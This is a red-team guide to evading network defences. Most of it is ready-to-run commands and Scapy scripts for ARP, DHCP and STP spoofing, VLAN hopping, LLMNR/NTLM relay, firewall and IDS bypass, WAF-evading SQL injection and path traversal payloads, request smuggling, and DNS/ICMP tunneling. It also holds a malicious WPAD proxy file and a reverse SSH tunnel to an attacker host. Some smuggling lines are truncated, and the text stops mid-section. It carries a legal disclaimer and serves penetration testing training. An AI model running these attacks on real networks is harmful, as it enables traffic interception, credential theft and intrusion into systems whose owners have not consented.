NETWORK SECURITY EVASION

A Complete Guide for Red Teamers — Basic to Advanced

Version: 2.0
Scope: Network-level attacks, firewall evasion, IDS/IPS evasion, WAF bypass, scanning evasion, proxy/anonymization, tunneling, traffic obfuscation, C2 evasion, lateral movement evasion, exfiltration, IPv6 attacks, cloud evasion, log/SIEM evasion, memory evasion, sandbox evasion, and operational security.
Intended Audience: Red team operators, penetration testers, and blue teamers learning attacker techniques (authorized testing only).

> ***Legal & Ethical Disclaimer***
> *All techniques described here are for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain written permission before testing.*

TABLE OF CONTENTS

1. **Foundations: How Defenses Work**
2. **Passive Reconnaissance for Evasion Planning**
3. **Firewall Evasion**
4. **IDS/IPS Evasion**
5. **WAF (Web Application Firewall) Evasion**
6. **Network Scanning Evasion**
7. **Proxy, VPN & Anonymization**
8. **Network Tunneling (Advanced)**
9. **Traffic Obfuscation & Covert Channels**
10. **Application-Layer Evasion**
11. **C2 (Command & Control) Evasion**
12. **Sandbox & Anti-Analysis Evasion**
13. **Advanced / Frontier Techniques**
14. **Red Team OPSEC**
15. **Detection & Countermeasures (Defender View)**
16. **Tool Reference Cheat Sheet**
17. **Quick Command Reference**

PART 1: FOUNDATIONS — HOW DEFENSES WORK

Understanding the enemy's tools is the first step to evading them.

1.1 Firewall Types & How They Inspect Traffic

Type	How It Works	Weakness to Exploit
Packet-Filtering (Stateless)	Filters based on header (src/dst IP, port, protocol). No memory of connections.	Fragmentation, spoofing, ambiguous packets.
Stateful Firewall	Tracks connection state (SYN, ESTABLISHED, etc.).	Protocol confusion, tunneling in established flows, fragmentation.
Application Layer Firewall (ALFW / Proxy)	Parses application protocols (HTTP, DNS, etc.).	Encoding, protocol manipulation, encryption, HTTP verb abuse.
Next-Gen Firewall (NGFW)	DPI (Deep Packet Inspection), SSL inspection, threat feeds.	Encryption (TLS 1.3), domain fronting, custom protocols, fragmentation before reassembly.
Web Application Firewall (WAF)	Signature + anomaly rules on HTTP.	Encoding, case tricks, payload mutation, chunked encoding.

1.2 IDS/IPS Detection Mechanisms

IDS = Intrusion Detection System (alerts only)
IPS = Intrusion Prevention System (blocks inline)

Detection methods you must evade:

1. **Signature-Based**
2. Matches known patterns (regex, byte sequences).
3. *Evasion:* Encode, fragment, mutate payload.
4. **Anomaly-Based / Statistical**
5. Baselines "normal" traffic, flags deviations.
6. *Evasion:* Mimic normal traffic patterns, use low-and-slow.
7. **Protocol Anomaly**
8. Checks protocol compliance (RFC violations).
9. *Evasion:* Use valid-looking but unusual protocol constructs.
10. **Heuristic / ML-Based**
11. Behavioral analysis, entropy checks.
12. *Evasion:* Reduce entropy signals, use legitimate channels.

1.3 The Defense Stack You're Fighting

```
Internet
   │
   ├── WAF (HTTP inspection)
   │
   ├── IDS/IPS (Snort, Suricata, Zeek)
   │
   ├── Firewall (iptables, pf, NGFW)
   │
   ├── Proxy (Squid, Bluecoat, corporate gateway)
   │
   ├── Endpoint Protection (EDR, AV)
   │
   └── Internal segmentation
```

Every layer requires a different technique.

PART 2: PASSIVE RECONNAISSANCE FOR EVASION PLANNING

You cannot evade what you do not understand.

2.1 Identifying Defenses Passively

```
# Check for WAF
wafw00f https://target.com
nmap --script http-waf-detect target.com

# Check for IDS/IPS (TTL anomalies, banner)
# IDS often resets connections or injects RST packets
hping3 -S target -p 80 --rand-source

# Google dorking for exposed devices
site:target.com inurl:vpn
site:target.com inurl:admin
```

2.2 Mapping Network Architecture

```
# Network topology mapping
# Identify firewall hops via traceroute TTL
traceroute -n -T -p 80 target.com
# Look for hops that don't decrement TTL consistently (indicating NAT/firewall)

# Identify firewall vendor via TCP/IP fingerprinting
nmap -O -sV target.com
```

2.3 Identifying Allowed Outbound Ports

```
# Many firewalls allow: 80, 443, 53 (UDP), 123 (NTP)
# Test what's allowed outbound from compromised host
# (run from within the target network)
nmap -Pn -sT -p 80,443,53,8080,8443,53 external-callback.com

# DNS often allowed everywhere
dig @8.8.8.8 test.example.com
```

Key insight: The firewall's ALLOW list is your egress path of choice.

PART 3: NETWORK-LEVEL ATTACKS & EVASION

These are Layer 2/3 attacks that enable MITM, credential capture, and network positioning — all while avoiding detection.

3.1 ARP Spoofing / ARP Cache Poisoning

ARP has no authentication. Any host can claim to own any IP.

```
# arpspoof (dsniff suite)
arpspoof -i eth0 -t 10.0.0.5 10.0.0.1    # Tell victim gateway is at our MAC
arpspoof -i eth0 -t 10.0.0.1 10.0.0.5    # Tell gateway victim is at our MAC

# Ettercap (GUI/TUI)
ettercap -T -M arp /10.0.0.5// /10.0.0.1//

# Bettercap
bettercap -iface eth0
> set arp.spoof.targets 10.0.0.5
> arp.spoof on
> net.sniff on

# Scapy ARP spoofing
from scapy.all import *
import time

def arp_spoof(target_ip, spoof_ip, iface="eth0"):
    target_mac = getmacbyip(target_ip)
    attacker_mac = get_if_hwaddr(iface)
    pkt = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=attacker_mac)
    while True:
        send(pkt, verbose=False)
        time.sleep(2)

arp_spoof("10.0.0.5", "10.0.0.1")
```

ARP Spoofing Evasion

```
# 1. Use bidirectional but slow ARP replies
# 2. Target only specific hosts, not broadcast
# 3. Restore ARP tables after engagement
arpspoof -i eth0 -r -t 10.0.0.5 10.0.0.1  # -r restores ARP

# 4. Use VLAN-aware ARP spoofing (target correct VLAN)
# 5. Monitor for ARP inspection (DAI) alerts
# 6. Use ARP spoofing only on segments without DAI

# Detecting DAI first
# If switches have Dynamic ARP Inspection, ARP spoofing fails
# Test: send one ARP reply, see if it is dropped
```

3.2 MAC Flooding (CAM Table Overflow)

Overwhelm switch CAM table so it falls back to hub-like behavior (floods all ports).

```
# macof (dsniff) — floods random MAC addresses
macof -i eth0 -n 100000

# Yersinia (Layer 2 attack framework)
sudo yersinia macof -i eth0

# Bettercap
> macflooding.flood on

# Scapy MAC flood
from scapy.all import *
import random

def mac_flood(iface="eth0"):
    while True:
        pkt = ARP()
        pkt.hwsrc = ':'.join([f'{random.randint(0,255):02x}' for _ in range(6)])
        pkt.psrc = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
        pkt.hwdst = "ff:ff:ff:ff:ff:ff"
        pkt.pdst = "10.0.0.1"
        sendp(pkt, iface=iface, verbose=False)

mac_flood()
```

MAC Flooding Evasion

```
# 1. Slow flood rate to avoid port security triggers
# 2. Use legitimate-looking MAC OUIs
#    Intel: 00:1B:21, Realtek: 52:54:00, Cisco: 00:00:0C
# 3. Target specific VLANs only
# 4. Monitor switch logs for security alerts
```

3.3 VLAN Hopping

Access traffic from VLANs you are not authorized for.

3.3.1 Switch Spoofing (DTP Attack)

```
# Negotiate a trunk link with the switch using DTP
# Yersinia DTP attack
sudo yersinia dtp -attack 1 -interface eth0

# Manual DTP frame crafting (Scapy)
from scapy.all import *

# Send DTP "desirable" to negotiate trunk
pkt = Dot3(dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/Raw(load=b"\x01\x00\x0c\x20\x03")
sendp(pkt, iface="eth0")
```

3.3.2 Double Tagging (802.1Q)

```
# Frame with two VLAN tags
# First tag stripped by first switch, second tag used by second switch
# Only works from native VLAN ports

from scapy.all import *

pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ \
      Dot1Q(vlan=10)/    # Outer tag (native VLAN)
      Dot1Q(vlan=20)/    # Inner tag (target VLAN)
      IP(dst="10.0.20.1")/ \
      ICMP()
sendp(pkt, iface="eth0")

# Yersinia
sudo yersinia dot1q -attack 1 -interface eth0
```

VLAN Hopping Evasion

```
# 1. Use double tagging only from native VLAN
# 2. Monitor for DTP frames (SPAN port + Wireshark)
# 3. Disable DTP on all access ports:
#    switchport nonegotiate
#    switchport mode access
# 4. Explicitly set native VLAN to unused VLAN
```

3.4 LLMNR / NBT-NS Poisoning

Windows falls back to LLMNR (5355) and NBT-NS (137) when DNS fails.

```
# Responder.py — the classic tool
sudo responder -I eth0 -wrf
# -w: WPAD, -r: NetBIOS w/ proxy auth, -f: fingerprint

# Inveigh (PowerShell)
Import-Module Inveigh
Invoke-Inveigh -LLMNR Y -NBTNS Y -HTTPS Y -ConsoleOutput Y

# mitm6 (IPv6 + DHCPv6)
sudo mitm6 -d target.com

# Combined with ntlmrelayx
sudo ntlmrelayx -t ldap://dc.target.com -ipv6

# Bettercap
> net.probes.mdns on
> net.probes.llmnr on
```

LLMNR/NBT-NS Evasion

```
# 1. Respond only to specific target IPs
sudo responder -I eth0 -e target-domain.com

# 2. Use stealth mode (capture only)
sudo responder -I eth0 --lm --ntlm

# 3. Disable WPAD if not needed (reduces noise)
# 4. Use analyze-only mode
sudo responder -I eth0 -A

# 5. Use ntlmrelayx to relay instead of capture
#    (avoids cracking, more stealthy)
sudo ntlmrelayx -t ldap://dc.target.com --remove-basic-auth --no-wpad

# 6. Time attacks during business hours (more noise = more hidden)
```

3.5 DHCP Spoofing / Starvation

```
# DHCP starvation (exhaust address pool)
sudo yersinia dhcp -attack 1 -interface eth0

# DHCP spoofing (rogue DHCP server)
sudo yersinia dhcp -attack 2 -interface eth0

# Bettercap
> dhcp.spoof on

# Scapy DHCP spoof
from scapy.all import *
from scapy.layers.dhcp import DHCP, BOOTP

def dhcp_spoof(iface="eth0"):
    def handle_dhcp(pkt):
        if DHCP in pkt and pkt[DHCP].options[0][1] == 1:  # Discover
            offer = Ether(dst=pkt[Ether].src)/ \
                    IP(src="10.0.0.1", dst=pkt[IP].src)/ \
                    UDP(sport=67, dport=68)/ \
                    BOOTP(xid=pkt[BOOTP].xid)/ \
                    DHCP(options=[("message_type", "offer"),
                                  ("name_server", "10.0.0.100"),
                                  ("router", "10.0.0.1"),
                                  "end"])
            sendp(offer, iface=iface)
    sniff(filter="udp and (port 67 or 68)", prn=handle_dhcp, iface=iface)

dhcp_spoof()
```

DHCP Evasion

```
# 1. Only respond to specific MAC addresses
# 2. Use legitimate-looking DHCP options
# 3. Monitor for DHCP snooping alerts
# 4. Time DHCP starvation outside business hours
```

3.6 STP (Spanning Tree Protocol) Manipulation

```
# Become the root bridge to see all traffic
sudo yersinia stp -attack 1 -interface eth0

# Scapy: send superior BPDU to become root bridge
from scapy.all import *
from scapy.layers.l2 import STP

pkt = Ether(dst="01:80:c2:00:00:00")/ \
      STP(rootid=0, bridgeid=0, portid=0)
sendp(pkt, iface="eth0")

# Bettercap
> stp.attack on
```

3.7 WPAD Poisoning

```
# Respond to WPAD (Web Proxy Auto-Discovery) requests
sudo responder -I eth0 -w

# Serve malicious wpad.dat:
# function FindProxyForURL(url, host) {
#   return "PROXY attacker-ip:8080";
# }

# Bettercap
> wpad.spoof on
```

3.8 mDNS Poisoning

```
# Multicast DNS (5353) — Bonjour, Avahi
sudo responder -I eth0 -m

# Bettercap
> net.probes.mdns on
> mdns.spoof on
```

3.9 Port Security Bypass

```
# 1. MAC flooding to learn legitimate MACs, then clone them
# 2. MAC bouncing (rapidly change MAC)
for i in $(seq 1 100); do
    sudo ip link set eth0 down
    sudo ip link set eth0 address $(printf '02:%02x:%02x:%02x:%02x:%02x' $RANDOM $RANDOM $RANDOM $RANDOM $RANDOM)
    sudo ip link set eth0 up
    sleep 0.1
done

# 3. Clone authorized device MAC
sudo macchanger -m 00:1B:21:AA:BB:CC eth0
```

3.10 Network Positioning for Evasion

```
# Best positions for evasion:
# 1. Same VLAN as target (Layer 2 adjacency)
# 2. On the gateway (full visibility)
# 3. On a SPAN/mirror port (passive, no detection)

# Find SPAN/mirror ports by checking unusual traffic
tcpdump -i eth0 -c 100 -n | head -20
```

PART 4: FIREWALL EVASION

4.1 Understanding Firewall Rules

Firewall rules are typically:

```
allow tcp from any to any port 80
allow tcp from any to any port 443
deny  ip from any to any
```

Evasion principle: Find the gap in what's allowed, or craft packets that match the ALLOW rule but carry your payload.

4.2 IP Fragmentation

Break packets into small fragments. Stateless firewalls may only inspect the first fragment.

```
# Nmap fragmented packets
nmap -f target.com          # Split into 8-byte fragments
nmap -ff target.com         # Split into 16-byte fragments

# Hping3 fragmentation
hping3 -f -V -p 80 target.com
hping3 -f -V -p 80 --udp target.com

# Scapy fragmentation
from scapy.all import *
ip = IP(dst="target")
tcp = TCP(dport=80, flags="S")
frag = fragment(ip/tcp, 8)
send(frag)
```

How it works: - First fragment contains TCP header (ports, flags). - Later fragments contain payload. - Stateful firewalls reassemble; stateless do not. - IDS might only inspect first fragment.

4.3 MTU-Based Fragmentation

```
# Set low MTU to force fragmentation
# Linux: use iptables TTL + fragmentation
iptables -A FORWARD -p tcp --dport 80 -j TCPMSS --set-mss 128

# Manually with Scapy
packet = IP(dst="target")/TCP(dport=80, flags="S")
send(fragment(packet, 8))
```

4.4 Source Port Manipulation

Firewalls sometimes trust certain source ports (like 53, 80, 443).

```
# Hping3: spoof source port to trusted port
hping3 -S -p 80 -s 53 target.com        # Source port 53 (DNS)
hping3 -S -p 80 -s 80 target.com        # Source port 80 (HTTP)
hping3 -S -p 443 -s 443 target.com      # Source port 443 (HTTPS)

# Nmap source port
nmap -g 53 -p 80 target.com             # Spoof source port 53
nmap -g 80 -p 8080 target.com
```

4.5 Protocol Mismatch

Send traffic on an unexpected protocol/port.

```
# Send HTTP over ICMP
hping3 -1 -E "GET / HTTP/1.1" target.com

# Send TCP on unusual ports
hping3 -S -p 31337 -c 1 target.com

# Send data over DNS to bypass port blocks
# (see tunneling section)
```

4.6 Idle / Zombie Scan

Use a third-party "zombie" host to scan, hiding your real IP.

```
# Find a zombie host with incremental IP ID
nmap -sI zombie-host target.com -p 1-1000

# Or manually with hping3
# Step 1: Check zombie IP ID
hping3 -S -p 445 -c 1 zombie-host

# Step 2: Spoof packet from zombie to target
hping3 -S -p 80 -a zombie-host -c 1 target.com

# Step 3: Check zombie IP ID increment
hping3 -S -p 445 -c 1 zombie-host
```

4.7 Decoy Scanning

Send packets from multiple spoofed IPs alongside your real IP.

```
# Nmap decoy scan
nmap -D RND,ME,10.0.0.1,10.0.0.2 target.com
nmap -D decoy1,decoy2,ME,decoy3 -p 80 target.com

# Use real-looking IPs
nmap -D 10.0.0.1,10.0.0.2,ME,192.168.1.1 -p 80 target.com
```

OPSEC note: Decoy IPs must be UP, or the target may send RST to your real IP.

4.8 TTL Manipulation

```
# Set TTL low to die at firewall
# Set TTL high to appear normal
# Manipulate to cause timeouts

# Scapy TTL manipulation
from scapy.all import *
pkt = IP(dst="target", ttl=1)/TCP(dport=80, flags="S")
send(pkt)  # Dies at first hop

pkt = IP(dst="target", ttl=64)/TCP(dport=80, flags="S")
send(pkt)  # Normal TTL
```

4.9 TCP Flags Manipulation

```
# Send unusual TCP flag combinations
# XMAS scan: FIN + PSH + URG
nmap -sX target.com

# NULL scan: No flags set
nmap -sN target.com

# FIN scan: Only FIN flag
nmap -sF target.com

# Custom flags with hping3
hping3 --flags RSTACK -p 80 target.com
hping3 --flags SYN -p 80 target.com

# XMAS with hping3
hping3 -X -p 80 target.com
```

4.10 TCP Window Manipulation

```
# Set unusual window size
nmap --window-size 1 target.com

# Hping3 window size
hping3 -S -p 80 --win-incr 1 target.com
```

4.11 ICMP Tunneling (Bypass Port-Based Firewalls)

ICMP echo requests/replies carry data.

```
# Using ptunnel (ICMP tunnel)
# Server: ptunnel -lp 8080
# Client: ptunnel -lp 31337 -da target.com -dp 22

# Using icmptx
# Server: ./icmptx -l 10.0.0.1
# Client: ./icmptx -d 10.0.0.1

# Using hping3 for ICMP with payload
hping3 -1 -p 7 -c 1 -E "secret data" target.com

# Using Scapy for custom ICMP
from scapy.all import *
payload = Raw(load="hidden data")
pkt = IP(dst="target")/ICMP()/payload
send(pkt)
```

4.12 DNS Tunneling (Bypass Most Firewalls)

DNS (UDP 53) is almost always allowed.

```
# Using dnscat2
# Server: dnscat2 dns --dns="domain=target.com,type=A"
# Client: dnscat2 domain.com

# Using iodine (IP over DNS)
# Server: iodined -f -P secret 10.0.0.1 tunnel.com
# Client: iodine -f -P secret tunnel.com
# Then: ssh -p 10022 user@10.0.0.1

# Using dnscat (simple)
dnscat --host=dns-server.com --dns domain=tunnel.com
```

4.13 NTP Tunneling

```
# NTP (UDP 123) often allowed outbound
# Use ntpcat or similar tools
# More niche but effective
```

4.14 Email Protocol Tunneling

```
# SMTP (25), IMAP (143), POP3 (110) often allowed
# Tunnel through SMTP
# Use smtp-over-ssh, or stunnel
```

PART 5: IDS/IPS EVASION

5.1 Understanding IDS Rules

IDS rules look like:

```
alert tcp any any -> $HOME_NET 80 (
    msg:"SQL Injection Attempt";
    content:"UNION SELECT";
    sid:100001;
)
```

To evade: - Don't send the literal `UNION SELECT` in one packet. - Fragment or encode it. - Split across multiple packets.

5.2 Session Splicing

Split attack payload across multiple packets, each evading signature.

```
# Send payload byte by byte
# Using Scapy
from scapy.all import *
import time

payload = "UNION SELECT password FROM users"
for i, byte in enumerate(payload):
    pkt = IP(dst="target")/TCP(dport=80, flags="A", seq=1000+i)/Raw(load=byte)
    send(pkt)
    time.sleep(0.1)  # Time-based evasion
```

5.3 Timing-Based Evasion

Slow down traffic to evade rate-based detection.

```
# Nmap timing
nmap -T0 -p 80 target.com         # Paranoid timing (very slow)
nmap -T1 -p 80 target.com         # Sneaky
nmap --max-rate 1 -p 80 target.com # 1 packet/second

# Hping3 delay
hping3 -S -p 80 --delay 1000 target.com  # 1 second delay

# Custom slow sending with Scapy
from scapy.all import *
import time
for i in range(100):
    pkt = IP(dst="target")/TCP(dport=80, flags="S", seq=i)
    send(pkt)
    time.sleep(1)  # 1 second between packets
```

5.4 Payload Encoding / Obfuscation

```
# URL encoding
# UNION SELECT → %55%4E%49%4F%4E%20%53%45%4C%45%43%54

# Double encoding
# UNION → %2555%254E%2549%254F%254E

# Unicode encoding
# UNION → u0055 u004E u0049 u004F u004E

# Hex encoding
# UNION SELECT → 0x554E494F4E2053454C454354

# Base64
# UNION SELECT → VU5PTiBTRUxFQ1Q=

# Mixed case
# uNiOn SeLeCt

# Comment injection
# UN/**/ION SEL/**/ECT

# Add whitespace / null bytes
# UNION%00SELECT
```

Tool: Cloakify

```
# Cloakify: transform payloads into benign-looking text
cloakify -i payload.txt -c base64.txt
cloakify -i payload.txt -c emoji.txt
cloakify -i payload.txt -c weather.txt
```

5.5 Fragmentation + Overlapping Packets

Send overlapping fragments to confuse reassembly.

```
# Scapy overlapping fragments
from scapy.all import *

ip = IP(dst="target")
tcp = TCP(dport=80, flags="S")
payload = Raw(load="ATTACK_PAYLOAD")

# Normal fragment
frag1 = fragment(ip/tcp/payload, 8)

# Send fragments with different offsets (overlapping)
for pkt in frag1:
    send(pkt)

# Overlapping: send same data twice with different offsets
# IDS may see one thing, firewall another
```

5.6 TTL-Based Evasion

Firewalls and IDS may see different packets based on TTL.

```
# Send packet with TTL that expires at firewall
# but not at IDS (or vice versa)
# Depends on network topology (hop count)

# Scapy TTL manipulation
from scapy.all import *

# TTL = 5: dies at 5 hops
pkt1 = IP(dst="target", ttl=5)/TCP(dport=80, flags="S")/Raw(load="malicious")
send(pkt1)

# TTL = 64: reaches target
pkt2 = IP(dst="target", ttl=64)/TCP(dport=80, flags="A")/Raw(load="payload")
send(pkt2)
```

5.7 IP Options Manipulation

```
# Add unusual IP options
# LSRR (Loose Source Route)
# SSRR (Strict Source Route)
# Some firewalls don't inspect packets with IP options

# Hping3 IP options
hping3 -S -p 80 --ipopts "rr" target.com
hping3 -S -p 80 --ipopts "lsrr" target.com

# Scapy IP options
from scapy.all import *
pkt = IP(dst="target", options=[IPOpt_RR])/TCP(dport=80)
send(pkt)
```

5.8 Checksum Evasion

IDS often doesn't recompute checksums.

```
# Send packet with wrong checksum
# Firewall may reject, IDS may not inspect
hping3 -S -p 80 --badsum target.com

# Scapy bad checksum
from scapy.all import *
pkt = IP(dst="target")/TCP(dport=80, chksum=0x0000)
send(pkt)  # Wrong checksum on purpose
```

5.9 Using Alternative Protocols for IDS Evasion

```
# HTTP over unusual ports
nmap -p 80,8080,8000,8888,3000 target.com

# HTTPS encrypted traffic (IDS can't see inside without SSL inspection)
# Use TLS 1.3 (forward secrecy, ECH)

# Custom encrypted protocols
# See C2 evasion section
```

PART 6: WAF (WEB APPLICATION FIREWALL) EVASION

6.1 Understanding WAF Signatures

WAFs look for: - SQL keywords: `SELECT`, `UNION`, `INSERT`, `OR 1=1` - XSS patterns: `<script>`, `onerror=`, `javascript:` - Path traversal: `../`, `..%2f`, `....//` - Command injection: `;ls`, `|whoami`, `` `id` ``

6.2 HTTP Method Manipulation

```
# Try different HTTP methods
curl -X GET "https://target.com/page?id=1"
curl -X POST "https://target.com/page?id=1" -d "id=1"
curl -X PUT "https://target.com/page"
curl -X PATCH "https://target.com/page"
curl -X DELETE "https://target.com/page"
curl -X OPTIONS "https://target.com/page"
curl -X HEAD "https://target.com/page"
curl -X TRACE "https://target.com/page"

# Override method via header
curl -X POST "https://target.com/page" -H "X-HTTP-Method-Override: PUT"
curl -X POST "https://target.com/page" -H "X-Method-Override: DELETE"
```

6.3 URL Encoding

```
# Single encoding
curl "https://target.com/page?id=1%20UNION%20SELECT%201"

# Double encoding
curl "https://target.com/page?id=1%2520UNION%2520SELECT%25201"

# Unicode
curl "https://target.com/page?id=1%u0020UNION%u0020SELECT"

# Null byte
curl "https://target.com/page?id=1%00UNION%20SELECT"

# Mixed encoding
curl "https://target.com/page?id=1%55%4E%49%4F%4E%20%53%45%4C%45%43%54"
```

6.4 Case Manipulation

```
# WAFs are often case-sensitive
curl "https://target.com/page?id=1 UnIoN SeLeCt 1"
curl "https://target.com/page?id=1 uNiOn SeLeCt 1"

# SQL keywords case variations
# UnIoN sElEcT, UNiON sELEct, etc.
```

6.5 Comment Injection

```
# SQL comments to break signatures
curl "https://target.com/page?id=1'/**/UNION/**/SELECT/**/1"
curl "https://target.com/page?id=1'/!UNION/!SELECT/1"

# MySQL version-specific comments
curl "https://target.com/page?id=1'/!50000UNION/!50000SELECT/1"
```

6.6 Whitespace Manipulation

```
# Tab, newline, vertical tab, form feed
curl "https://target.com/page?id=1%09UNION%0ASELECT"
curl "https://target.com/page?id=1%0bUNION%0dSELECT"

# Inline comments as whitespace
curl "https://target.com/page?id=1UNION/*x*/SELECT"
```

6.7 String Concatenation

```
# Break keywords across concatenation
# MySQL
curl "https://target.com/page?id=1'UN/**/ION%20SEL/**/ECT%201"

# Using CONCAT()
curl "https://target.com/page?id=1'||CONCAT('UN','ION%20SEL','ECT%201')"
```

6.8 HTTP Request Smuggling

```
# CL-TE (Content-Length vs Transfer-Encoding mismatch)
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admi

# TE-CL
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n5c\r\nGET /admin HT

# TE-TE (double Transfer-Encoding)
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: identity\r\n\r\n...' | nc
```

6.9 HTTP Parameter Pollution

```
# Send parameter twice
curl "https://target.com/page?id=1&id=2%20UNION%20SELECT%201"

# WAF may check first, backend uses second
curl "https://target.com/page?username=admin&username=test%20OR%201=1"
```

6.10 Chunked Transfer-Encoding

```
# Chunked encoding can bypass WAF
curl --header "Transfer-Encoding: chunked" \
     --data-binary "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nU\r\n1\r\nN\r\n1\r\
     https://target.com/
```

6.11 Path Manipulation

```
# Path traversal encoding
curl "https://target.com/..%2f..%2fetc/passwd"
curl "https://target.com/..;/..;/etc/passwd"
curl "https://target.com/%2e%2e/%2e%2e/etc/passwd"
curl "https://target.com/....//....//etc/passwd"

# Path normalization
curl "https://target.com/admin/../admin/page"
curl "https://target.com/admin;/page"
```

6.12 User-Agent / Header Manipulation

```
# WAF may whitelist certain User-Agents
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
     "https://target.com/page?id=1"

# Remove headers
curl -H "" "https://target.com/page"

# Custom headers
curl -H "X-Forwarded-For: 127.0.0.1" "https://target.com/page"
curl -H "X-Real-IP: 127.0.0.1" "https://target.com/page"
curl -H "X-Custom-IP-Authorization: 127.0.0.1" "https://target.com/page"
```

6.13 Testing WAFs

```
# Wafw00f
wafw00f https://target.com

# Nikto (WAF detection)
nikto -h https://target.com

# Nuclei WAF detection
nuclei -u https://target.com -tags waf

# Manual testing
curl -I "https://target.com/?id=1'"
# If 403/406, WAF is blocking
# Try encodings until 200
```

PART 7: NETWORK SCANNING EVASION

7.1 Nmap Stealth Options

```
# FIN, XMAS, NULL scans (stealthier than SYN)
nmap -sF target.com
nmap -sX target.com
nmap -sN target.com

# Idle scan (zombie)
nmap -sI zombie-host target.com

# ACK scan (firewall rule mapping)
nmap -sA -p 1-1000 target.com

# Window scan
nmap -sW target.com

# Custom scan
nmap --scanflags URG+ACK+PSH target.com

# IP Protocol scan
nmap -sO target.com
```

7.2 Timing & Rate Evasion

```
# Paranoid timing
nmap -T0 target.com

# Sneaky timing
nmap -T1 target.com

# Max retries
nmap --max-retries 1 target.com

# Rate limiting
nmap --max-rate 10 target.com       # 10 packets/second
nmap --min-rate 5 target.com        # Minimum 5 packets/second

# Host timeout
nmap --host-timeout 30m target.com

# Wait between probes
nmap --max-hostgroup 1 --max-parallelism 1 target.com
```

7.3 Fragmentation + Decoy Combination

```
# Combine techniques
nmap -f -D RND,ME -T1 -sS --top-ports 100 target.com

# Random decoys
nmap -D RND,ME,RND,RND -f --top-ports 20 target.com

# Spoof source port + decoy
nmap -g 53 -D 10.0.0.1,ME,10.0.0.2 -p 80 target.com
```

7.4 MAC Address Spoofing

```
# Change MAC address before scanning
# Linux
sudo ip link set eth0 down
sudo ip link set eth0 address 00:11:22:33:44:55
sudo ip link set eth0 up

# Or with macchanger
sudo macchanger -r eth0
sudo macchanger -m 00:11:22:33:44:55 eth0

# Nmap can spoof MAC
nmap --spoof-mac 0 target.com          # Random
nmap --spoof-mac 00:11:22:33:44:55 target.com
```

7.5 IPv6 Scanning Evasion

```
# IPv6 often less monitored
nmap -6 target-ipv6.com

# IPv4-mapped IPv6
nmap ::ffff:192.168.1.1

# Scan IPv6 multicast
nmap -6 ff02::1%eth0
```

7.6 Using Different Protocols for Scanning

```
# SCTP scan
nmap -sY target.com

# UDP scan (stealthier)
nmap -sU --top-ports 20 target.com

# IP protocol scan
nmap -sO -p 1,6,17,50,51 target.com

# ICMP scan
nmap -sn -PE target.com/24
```

7.7 Reverse DNS Lookup Evasion

```
# Disable reverse DNS to avoid DNS-based alerts
nmap -n target.com

# Or use specific DNS
nmap --dns-server 8.8.8.8 target.com
```

7.8 Service Version Detection Evasion

```
# Version detection sends probes; can be detected
# Use aggressive timing for version detection
nmap -sV -T4 target.com

# Or skip version detection for stealth
nmap -Pn -sS -p 1-65535 target.com  # No -sV
```

PART 8: PROXY, VPN & ANONYMIZATION

8.1 HTTP/SOCKS Proxies

```
# Using SOCKS proxy with proxychains
# /etc/proxychains.conf
# socks4 127.0.0.1 9050
# socks5 127.0.0.1 1080

# Random chain (random proxy order)
proxychains nmap -sT -Pn target.com

# Using Tor
sudo apt install tor
sudo systemctl start tor
# Tor SOCKS proxy: 127.0.0.1:9050

proxychains curl http://target.com

# Tor + proxychains for nmap
proxychains nmap -sT -Pn --top-ports 100 target.com
```

8.2 VPN Tunneling

```
# OpenVPN
sudo openvpn --config client.ovpn

# WireGuard
sudo wg-quick up wg0
sudo wg set wg0 private-key ./private.key peer <pubkey> endpoint=<ip>:51820

# IPsec (strongSwan)
sudo ipsec up <connection>

# PPTP (legacy, avoid)
sudo apt install pptp-linux
```

8.3 SSH Tunneling (Port Forwarding)

```
# Local port forward (access remote service)
ssh -L 8080:target-internal:80 user@jumpbox

# Remote port forward (expose local service to remote)
ssh -R 8080:localhost:80 user@remote-server

# Dynamic SOCKS proxy (pivot through remote)
ssh -D 1080 user@jumpbox
# Then: proxychains nmap -sT -Pn internal-target

# SSH over non-standard port
ssh -p 2222 user@target

# SSH over HTTPS port
ssh -p 443 user@target

# SSH with ProxyCommand (through HTTP proxy)
ssh -o ProxyCommand="nc -X connect -x proxy:8080 %h %p" user@target
```

8.4 Chained Proxies

```
# Multiple proxies for anonymity
# proxychains.conf
# socks5 127.0.0.1 9050
# socks5 proxy1.example.com 1080
# socks5 proxy2.example.com 1080

# With random chain type
# strict_chain, dynamic_chain, random_chain

# Tor + VPN combo
# 1. Connect to VPN first
# 2. Then connect to Tor
# Your traffic: You → VPN → Tor → Target
```

8.5 DNS over HTTPS (DoH) / DNS over TLS (DoT)

```
# DoH hides DNS queries in HTTPS
# Browser: enable DoH in Firefox/Chrome settings
# Or use dnscrypt-proxy
dnscrypt-proxy -config dnscrypt-proxy.toml

# DoT (DNS over TLS, port 853)
dig +tls @dns.quad9.net example.com
kdig +tls @1.1.1.1 example.com

# Bypass DNS-based filtering
# Use DoH to 8.8.8.8 or 1.1.1.1
curl -H "accept: application/dns-json" \
     "https://dns.google/resolve?name=target.com&type=A"
```

8.6 MAC Cloning & Spoofing

```
# Clone MAC of legitimate device
sudo macchanger -m $(arp -n | grep "target-mac" | awk '{print $3}') eth0

# Random MAC each time
sudo macchanger -r eth0

# Persistent MAC change (until reboot)
sudo ip link set dev eth0 address aa:bb:cc:dd:ee:ff
```

8.7 Using Compromised Hosts as Proxies

```
# After initial access, pivot through compromised host
# Meterpreter portfwd
portfwd add -l 8080 -p 80 -r 10.10.0.5

# SSH reverse tunnel from compromised host
ssh -R 1080:localhost:1080 user@attacker.com

# Chisel (single-file TCP tunnel)
# Server (attacker):
